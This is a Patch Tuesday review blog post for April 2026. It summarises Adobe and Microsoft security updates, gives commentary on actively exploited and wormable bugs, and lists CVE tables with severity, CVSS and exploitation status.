It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

- CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

- CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

- CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

- CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-32201	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	Yes	Spoofing
CVE-2026-5281 *	Chromium: CVE-2026-5281 Use after free in Dawn	High	N/A	No	Yes	RCE
CVE-2026-33825	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	No	EoP
CVE-2026-23666	.NET Framework Denial of Service Vulnerability	Critical	7.5	No	No	DoS
CVE-2026-32190	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33114	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33115	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-32157	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-33826	Windows Active Directory Remote Code Execution Vulnerability	Critical	8	No	No	RCE
CVE-2026-33824	Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-33827	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-26171	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-32226	.NET Framework Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-32178	.NET Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-32203	.NET and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-33116	.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2023-20585 *	AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability	Important	5.3	No	No	RCE
CVE-2026-32072	Active Directory Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-25184	Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32171	Azure Logic Apps Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32168	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32192	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32181	Connected User Experiences and Telemetry Service Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27924	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32152	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32154	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27923	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32155	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23653	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	5.7	No	No	Info
CVE-2026-23653 *	GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes	Important	7.4	No	No	Info
CVE-2026-33096	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-25250 *	MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix	Important	6	No	No	SFB
CVE-2026-26181	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32219	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32091	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-26152	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33103	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32188	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-32189	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32197	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32198	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32199	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32184	Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26155	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-27914	Microsoft Management Console Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26149	Microsoft Power Apps Security Feature Bypass	Important	9	No	No	SFB
CVE-2026-32200	Microsoft PowerPoint Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26143	Microsoft PowerShell Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-33120 †	Microsoft SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-20945	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-33822	Microsoft Word Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-33095	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-23657	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32081	Package Catalog Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26170	PowerShell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26183	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26160	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26159	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26151	Remote Desktop Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-32085	Remote Procedure Call Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32167	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32176	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-0390	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-32220	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-32212	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32214	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32079	Web Account Manager Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-33104	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32196	Windows Admin Center Spoofing Vulnerability	Important	6.1	No	No	Spoofing
CVE-2026-26178	Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32073	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26168	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26173	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26177	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26182	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27922	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33099	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33100	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32088	Windows Biometric Service Security Feature Bypass Vulnerability	Important	6.1	No	No	SFB
CVE-2026-27913	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.7	No	No	SFB
CVE-2026-26175	Windows Boot Manager Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32162	Windows COM Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-20806	Windows COM Server Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26176	Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27926	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32070	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33098	Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26153	Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32087	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32093	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32086	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32150	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27931	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27930	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32221	Windows Graphics Component Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-27906	Windows Hello Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-27928	Windows Hello Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-26156	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32149	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-27910	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27912	Windows Kerberos Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-26179	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26180	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32195	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26163	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32215	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32217	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32218	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26169	Windows Kernel Memory Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-27929	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32071	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20930	Windows Management Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26162	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33101	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32084	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27927	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26184	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32069	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32074	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32078	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26167	Windows Push Notifications Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32158	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32159	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32160	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26172	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20928	Windows Recovery Environment Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32216	Windows Redirected Drive Buffering System Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27909	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26161	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26174	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32224	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26154	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-26165	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26166	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27918	Windows Shell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32151	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32225	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-32202	Windows Shell Spoofing Vulnerability	Important	4.3	No	No	Spoofing
CVE-2026-32082	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32083	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32068	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32183	Windows Snipping Tool Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32089	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32090	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32153	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27907	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32076	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27908	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27921	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27915	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27919	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32075	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27916	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27920	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32077	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27925	Windows UPnP Device Host Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32156	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	7.4	No	No	RCE
CVE-2026-32223	Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-32165	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27911	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32163	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32164	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23670	Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability	Important	5.7	No	No	SFB
CVE-2026-27917	Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32080	Windows WalletService Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32222	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21637 *	HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers	Moderate	7.5	No	No	SFB
CVE-2026-33119	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-33829	Windows Snipping Tool Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-5858 *	Chromium: CVE-2026-5858 Heap buffer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5859 *	Chromium: CVE-2026-5859 Integer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5272 *	Chromium: CVE-2026-5272 Heap buffer overflow in GPU	High	N/A	No	No	RCE
CVE-2026-5273 *	Chromium: CVE-2026-5273 Use after free in CSS	High	N/A	No	No	RCE
CVE-2026-5274 *	Chromium: CVE-2026-5274 Integer overflow in Codecs	High	N/A	No	No	RCE
CVE-2026-5275 *	Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5276 *	Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB	High	N/A	No	No	SFB
CVE-2026-5277 *	Chromium: CVE-2026-5277 Integer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5279 *	Chromium: CVE-2026-5279 Object corruption in V8	High	N/A	No	No	RCE
CVE-2026-5280 *	Chromium: CVE-2026-5280 Use after free in WebCodecs	High	N/A	No	No	RCE
CVE-2026-5283 *	Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE	High	N/A	No	No	SFB
CVE-2026-5284 *	Chromium: CVE-2026-5284 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5285 *	Chromium: CVE-2026-5285 Use after free in WebGL	High	N/A	No	No	RCE
CVE-2026-5286 *	Chromium: CVE-2026-5286 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5287 *	Chromium: CVE-2026-5287 Use after free in PDF	High	N/A	No	No	RCE
CVE-2026-5289 *	Chromium: CVE-2026-5289 Use after free in Navigation	High	N/A	No	No	RCE
CVE-2026-5290 *	Chromium: CVE-2026-5290 Use after free in Compositing	High	N/A	No	No	RCE
CVE-2026-5860 *	Chromium: CVE-2026-5860 Use after free in WebRTC	High	N/A	No	No	RCE
CVE-2026-5861 *	Chromium: CVE-2026-5861 Use after free in V8	High	N/A	No	No	RCE
CVE-2026-5862 *	Chromium: CVE-2026-5862 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5863 *	Chromium: CVE-2026-5863 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5864 *	Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio	High	N/A	No	No	RCE
CVE-2026-5865 *	Chromium: CVE-2026-5865 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5866 *	Chromium: CVE-2026-5866 Use after free in Media	High	N/A	No	No	RCE
CVE-2026-5867 *	Chromium: CVE-2026-5867 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5868 *	Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5869 *	Chromium: CVE-2026-5869 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5870 *	Chromium: CVE-2026-5870 Integer overflow in Skia	High	N/A	No	No	RCE
CVE-2026-5871 *	Chromium: CVE-2026-5871 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5872 *	Chromium: CVE-2026-5872 Use after free in Blink	High	N/A	No	No	RCE
CVE-2026-5873 *	Chromium: CVE-2026-5873 Out of bounds read and write in V8	High	N/A	No	No	RCE
CVE-2026-5291 *	Chromium: CVE-2026-5291 Inappropriate implementation in WebGL	Medium	N/A	No	No	SFB
CVE-2026-5292 *	Chromium: CVE-2026-5292 Out of bounds read in WebCodecs	Medium	N/A	No	No	Info
CVE-2026-5874 *	Chromium: CVE-2026-5874 Use after free in PrivateAI	Medium	N/A	No	No	RCE
CVE-2026-5875 *	Chromium: CVE-2026-5875 Policy bypass in Blink	Medium	N/A	No	No	SFB
CVE-2026-5876 *	Chromium: CVE-2026-5876 Side-channel information leakage in Navigation	Medium	N/A	No	No	Info
CVE-2026-5877 *	Chromium: CVE-2026-5877 Use after free in Navigation	Medium	N/A	No	No	RCE
CVE-2026-5878 *	Chromium: CVE-2026-5878 Incorrect security UI in Blink	Medium	N/A	No	No	Spoofing
CVE-2026-5879 *	Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE	Medium	N/A	No	No	SFB
CVE-2026-5880 *	Chromium: CVE-2026-5880 Incorrect security UI in browser UI	Medium	N/A	No	No	Spoofing
CVE-2026-5881 *	Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess	Medium	N/A	No	No	SFB
CVE-2026-5882 *	Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen	Medium	N/A	No	No	Spoofing
CVE-2026-5883 *	Chromium: CVE-2026-5883 Use after free in Media	Medium	N/A	No	No	RCE
CVE-2026-5884 *	Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media	Medium	N/A	No	No	SFB
CVE-2026-5885 *	Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML	Medium	N/A	No	No	SFB
CVE-2026-5886 *	Chromium: CVE-2026-5886 Out of bounds read in WebAudio	Medium	N/A	No	No	Info
CVE-2026-5887 *	Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads	Medium	N/A	No	No	SFB
CVE-2026-5888 *	Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5889 *	Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium	Medium	N/A	No	No	SFB
CVE-2026-5890 *	Chromium: CVE-2026-5890 Race in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5891 *	Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI	Medium	N/A	No	No	SFB
CVE-2026-5892 *	Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs	Medium	N/A	No	No	SFB
CVE-2026-5893 *	Chromium: CVE-2026-5893 Race in V8	Medium	N/A	No	No	RCE
CVE-2026-5894 *	Chromium: CVE-2026-5894 Inappropriate implementation in PDF	Low	N/A	No	No	SFB
CVE-2026-5895 *	Chromium: CVE-2026-5895 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5896 *	Chromium: CVE-2026-5896 Policy bypass in Audio	Low	N/A	No	No	SFB
CVE-2026-5897 *	Chromium: CVE-2026-5897 Incorrect security UI in Downloads	Low	N/A	No	No	Spoofing
CVE-2026-5898 *	Chromium: CVE-2026-5898 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5899 *	Chromium: CVE-2026-5899 Incorrect security UI in History Navigation	Low	N/A	No	No	Spoofing
CVE-2026-5900 *	Chromium: CVE-2026-5900 Policy bypass in Downloads	Low	N/A	No	No	SFB
CVE-2026-5901 *	Chromium: CVE-2026-5901 Policy bypass in DevTools	Low	N/A	No	No	SFB
CVE-2026-5902 *	Chromium: CVE-2026-5902 Race in Media	Low	N/A	No	No	RCE
CVE-2026-5903 *	Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox	Low	N/A	No	No	SFB
CVE-2026-5904 *	Chromium: CVE-2026-5904 Use after free in V8	Low	N/A	No	No	RCE
CVE-2026-5905 *	Chromium: CVE-2026-5905 Incorrect security UI in Permissions	Low	N/A	No	No	Spoofing
CVE-2026-5906 *	Chromium: CVE-2026-5906 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5907 *	Chromium: CVE-2026-5907 Insufficient data validation in Media	Low	N/A	No	No	SFB
CVE-2026-5908 *	Chromium: CVE-2026-5908 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5909 *	Chromium: CVE-2026-5909 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5910 *	Chromium: CVE-2026-5910 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5911 *	Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers	Low	N/A	No	No	SFB
CVE-2026-5912 *	Chromium: CVE-2026-5912 Integer overflow in WebRTC	Low	N/A	No	No	RCE
